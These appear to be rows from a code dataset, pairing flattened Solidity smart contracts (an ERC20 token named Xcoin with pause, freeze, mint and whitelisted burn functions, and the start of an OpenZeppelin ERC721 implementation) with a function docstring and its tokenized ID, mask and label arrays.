emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/library/Pausable.sol
pragma solidity ^0.4.24;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts/Token/ERC20Pausable.sol
pragma solidity ^0.4.24;
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
// File: contracts/whitelist/Roles.sol
pragma solidity ^0.4.24;
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage _role, address _addr) internal {
_role.bearer[_addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage _role, address _addr) internal {
_role.bearer[_addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage _role, address _addr) internal view {
require(has(_role, _addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage _role, address _addr) internal view returns (bool) {
return _role.bearer[_addr];
}
}
// File: contracts/whitelist/RBAC.sol
pragma solidity ^0.4.24;
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string _role) internal {
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string _role) internal {
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string _role) {
checkRole(msg.sender, _role);
_;
}
}
// File: contracts/whitelist/Whitelist.sol
pragma solidity ^0.4.24;
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if operator is not whitelisted.
* @param _operator address
*/
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param _operators addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param _operator address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev remove addresses from the whitelist
* @param _operators addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: contracts/Xcoin.sol
pragma solidity ^0.4.24;
contract Xcoin is ERC20Pausable {
string private _name;
string private _symbol;
uint8 private _decimals;
mapping (address => bool) private _frozenAccounts;
Whitelist private _whitelistForBurn;
Pausable private _pauseForAll;
event FrozenFunds(address indexed target, bool frozen);
event WhitelistForBurnChanged(address indexed oldAddress, address indexed newAddress);
event TransferWithMessage(address from, address to, uint256 value, bytes message);
// Constructor
constructor(
string name,
string symbol,
uint8 decimals,
uint256 initialSupply,
address tokenHolder,
address owner,
address whitelistForBurn,
address pauseForAll
)
public
{
_transferOwnership(owner);
_name = name;
_symbol = symbol;
_decimals = decimals;
_whitelistForBurn = Whitelist(whitelistForBurn);
_pauseForAll = Pausable(pauseForAll);
uint256 initialSupplyWithDecimals = initialSupply.mul(10 ** uint256(_decimals));
_mint(tokenHolder, initialSupplyWithDecimals);
}
// Modifier to check _pauseForAll is not true
modifier whenNotPausedForAll() {
require(!_pauseForAll.paused(), "pausedForAll is paused");
_;
}
/// @notice Return name of this token
/// @return token name
function name() public view returns (string) {
return _name;
}
/// @notice Return symbol of this token
/// @return token symbol
function symbol() public view returns (string) {
return _symbol;
}
/// @notice Return decimals of this token
/// @return token decimals
function decimals() public view returns (uint8) {
return _decimals;
}
/// @notice Return flag whether account is freezed or not
/// @return true if account is freezed
function frozenAccounts(address target) public view returns (bool) {
return _frozenAccounts[target];
}
/// @notice Return address of _whitelistForBurn contract
/// @return _whitelistForBurn address
function whitelistForBurn() public view returns (address) {
return _whitelistForBurn;
}
/// @notice Return address of _pauseForAll contract
/// @return _pauseForAll address
function pauseForAll() public view returns (address) {
return _pauseForAll;
}
/// @notice Change the address of _whitelistForBurn address.
/// Owner can only execute this function
/// @param newWhitelistForBurn new _whitelistForBurn address
function changeWhitelistForBurn(address newWhitelistForBurn) public onlyOwner {
address oldWhitelist = _whitelistForBurn;
_whitelistForBurn = Whitelist(newWhitelistForBurn);
emit WhitelistForBurnChanged(oldWhitelist, newWhitelistForBurn);
}
/// @notice Freezes specific addresses.
/// @param targets The array of target addresses.
function freeze(address[] targets) public onlyOwner {
require(targets.length > 0, "the length of targets is 0");
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != address(0), "targets has zero address.");
_frozenAccounts[targets[i]] = true;
emit FrozenFunds(targets[i], true);
}
}
/// @notice Unfreezes specific addresses.
/// @param targets The array of target addresses.
function unfreeze(address[] targets) public onlyOwner {
require(targets.length > 0, "the length of targets is 0");
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != address(0), "targets has zero address.");
_frozenAccounts[targets[i]] = false;
emit FrozenFunds(targets[i], false);
}
}
/// @notice transfer token. If msg.sender is frozen, this function will be reverted.
/// @param to Target address to transfer token.
/// @param value Amount of token msg.sender wants to transfer.
/// @return true if execution works correctly.
function transfer(address to, uint256 value) public whenNotPaused whenNotPausedForAll returns (bool) {
require(!frozenAccounts(msg.sender), "msg.sender address is frozen.");
return super.transfer(to, value);
}
/// @notice transfer token with message.
/// @param to Target address to transfer token.
/// @param value Amount of token msg.sender wants to transfer.
/// @param message UTF-8 encoded Message sent from msg.sender to to address.
/// @return true if execution works correctly.
function transferWithMessage(
address to,
uint256 value,
bytes message
)
public
whenNotPaused
whenNotPausedForAll
returns (bool)
{
require(!_frozenAccounts[msg.sender], "msg.sender is frozen");
emit TransferWithMessage(msg.sender, to, value, message);
return super.transfer(to, value);
}
/// @notice transfer token. If from address is frozen, this function will be reverted.
/// @param from The sender address.
/// @param to Target address to transfer token.
/// @param value Amount of token msg.sender wants to transfer.
/// @return true if execution works correctly.
function transferFrom(address from, address to, uint256 value) public whenNotPaused whenNotPausedForAll returns (bool) {
require(!frozenAccounts(from), "from address is frozen.");
return super.transferFrom(from, to, value);
}
/// @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
/// Beware that changing an allowance with this method brings the risk that someone may use both the old
/// and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
/// race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
/// @param spender The address which will spend the funds.
/// @param value The amount of tokens to be spent.
/// @return true if execution works correctly.
function approve(address spender, uint256 value) public whenNotPaused whenNotPausedForAll returns (bool) {
return super.approve(spender, value);
}
/// @notice Increase the amount of tokens that an owner allowed to a spender.
/// approve should be called when allowed_[_spender] == 0. To increment
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// @param spender The address which will spend the funds.
/// @param addedValue The amount of tokens to increase the allowance by.
/// @return true if execution works correctly.
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused whenNotPausedForAll returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
/// @notice Decrease the amount of tokens that an owner allowed to a spender.
/// approve should be called when allowed_[_spender] == 0. To decrement
/// allowed value is better to use this function to avoid 2 calls (and wait until
/// the first transaction is mined)
/// @param spender The address which will spend the funds.
/// @param subtractedValue The amount of tokens to decrease the allowance by.
/// @return true if execution works correctly.
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused whenNotPausedForAll returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
/// @notice Function to mint tokens
/// Owner can only execute this function.
/// @param to The address that will receive the minted tokens.
/// @param value The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address to, uint256 value) public onlyOwner returns (bool) {
super._mint(to, value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public whenNotPaused whenNotPausedForAll {
require(_whitelistForBurn.whitelist(msg.sender), "msg.sender is not added on whitelist");
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= _balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
_balances[_who] = _balances[_who].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(_who, address(0), _value);
}
} | @notice transfer token with message. @param to Target address to transfer token. @param value Amount of token msg.sender wants to transfer. @param message UTF-8 encoded Message sent from msg.sender to to address. @return true if execution works correctly. | function transferWithMessage(
address to,
uint256 value,
bytes message
)
public
whenNotPaused
whenNotPausedForAll
returns (bool)
{
require(!_frozenAccounts[msg.sender], "msg.sender is frozen");
emit TransferWithMessage(msg.sender, to, value, message);
return super.transfer(to, value);
}
| 1,781,467 | [
1,
13866,
1147,
598,
883,
18,
225,
358,
5916,
1758,
358,
7412,
1147,
18,
225,
460,
16811,
434,
1147,
1234,
18,
15330,
14805,
358,
7412,
18,
225,
883,
6380,
17,
28,
3749,
2350,
3271,
628,
1234,
18,
15330,
358,
358,
1758,
18,
327,
638,
309,
4588,
6330,
8783,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
1190,
1079,
12,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
16,
203,
3639,
1731,
883,
203,
565,
262,
203,
565,
1071,
203,
565,
1347,
1248,
28590,
203,
565,
1347,
1248,
28590,
1290,
1595,
203,
565,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2583,
12,
5,
67,
28138,
13971,
63,
3576,
18,
15330,
6487,
315,
3576,
18,
15330,
353,
12810,
8863,
203,
3639,
3626,
12279,
1190,
1079,
12,
3576,
18,
15330,
16,
358,
16,
460,
16,
883,
1769,
203,
3639,
327,
2240,
18,
13866,
12,
869,
16,
460,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC721\ERC721Basic.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC721\ERC721.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: node_modules\zeppelin-solidity\contracts\AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC721\ERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. This function MUST use 50,000 gas or less. Return of other
* than the magic value MUST result in the transaction being reverted.
* Note: the contract address is always the message sender.
* @param _from The sending address
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
*/
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC721\ERC721BasicToken.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existance of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* @dev The zero address indicates there is no approved address.
* @dev There can only be one approved address per token at a given time.
* @dev Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for a the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @dev Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* @dev The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC721\ERC721Token.sol
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
